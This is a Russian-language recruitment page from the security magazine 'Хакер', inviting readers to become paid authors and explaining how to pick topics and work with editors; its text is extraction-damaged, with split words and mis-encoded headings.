«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/

